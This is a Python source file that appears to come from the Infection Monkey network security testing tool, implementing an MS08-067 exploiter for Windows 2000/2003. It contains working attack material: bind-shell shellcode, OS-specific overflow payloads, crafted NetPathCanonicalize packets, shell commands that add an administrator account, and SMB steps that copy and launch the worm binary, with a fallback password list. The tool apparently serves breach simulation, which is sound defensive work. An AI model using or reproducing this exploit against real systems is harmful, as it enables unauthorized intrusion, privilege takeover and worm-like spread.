monkey/chaos_monkey/exploit/win_ms08_067.py

259 lines
11 KiB
Python

#!/usr/bin/env python
#############################################################################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
#############################################################################
import socket
import time
from logging import getLogger
from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from network import SMBFinger
from network.tools import check_port_tcp
from tools import build_monkey_commandline
from . import HostExploiter
LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444
SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
# Payload for Windows 2000 target
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41'
PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\xeb\xcc'
PAYLOAD_2000 += '\x00\x00'
# Payload for Windows 2003[SP2] target
PAYLOAD_2003 = '\x41\x00\x5c\x00'
PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00'
PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae'
PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00'
PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43'
PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff'
PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75'
PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5'
PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6'
PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
class WindowsVersion(IntEnum):
Windows2000 = 1
Windows2003_SP2 = 2
class SRVSVC_Exploit(object):
TELNET_PORT = 4444
def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445):
self._port = port
self._target = target_addr
self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
def get_telnet_port(self):
"""get_telnet_port()
The port on which the Telnet service will listen.
"""
return SRVSVC_Exploit.TELNET_PORT
def start(self):
"""start() -> socket
Exploit the target machine and return a socket connected to it's
listening Telnet service.
"""
target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
self._trans = transport.DCERPCTransportFactory(target_rpc_name)
self._trans.connect()
LOG.debug("Connected to %s", target_rpc_name)
self._dce = self._trans.DCERPC_class(self._trans)
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
dce_packet = self._build_dce_packet()
self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
LOG.debug("Exploit sent to %s successfully...", self._target)
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
sock = socket.socket()
sock.connect((self._target, self.get_telnet_port()))
return sock
def _build_dce_packet(self):
# Constructing Malicious Packet
dce_packet = '\x01\x00\x00\x00'
dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
dce_packet += SHELLCODE
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x00\x00\x00\x00'
dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
dce_packet += self._payload
dce_packet += '\x00\x00\x00\x00'
dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00'
dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00'
dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00'
dce_packet += '\x01\x00\x00\x00'
return dce_packet
class Ms08_067_Exploiter(HostExploiter):
_target_os_type = ['windows']
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
def __init__(self, host):
super(Ms08_067_Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
def is_os_supported(self):
if self.host.os.get('type') in self._target_os_type and \
self.host.os.get('version') in self._windows_versions.keys():
return True
if not self.host.os.get('type') or (
self.host.os.get('type') in self._target_os_type and not self.host.os.get('version')):
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(self.host):
return self.host.os.get('type') in self._target_os_type and \
self.host.os.get('version') in self._windows_versions.keys()
return False
def exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2)
exploited = False
for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)
try:
sock = exploit.start()
sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" %
(self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
self._config.ms08_067_remote_user_add))
time.sleep(2)
reply = sock.recv(1000)
LOG.debug("Exploited into %r using MS08-067", self.host)
exploited = True
break
except Exception as exc:
LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
continue
if not exploited:
LOG.debug("Exploiter MS08-067 is giving up...")
return False
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass)
if not remote_full_path:
# try other passwords for administrator
for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path,
"Administrator",
password)
if remote_full_path:
break
if not remote_full_path:
return False
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
try:
sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
return False
finally:
try:
sock.close()
except socket.error:
pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, self.host, cmdline)
return True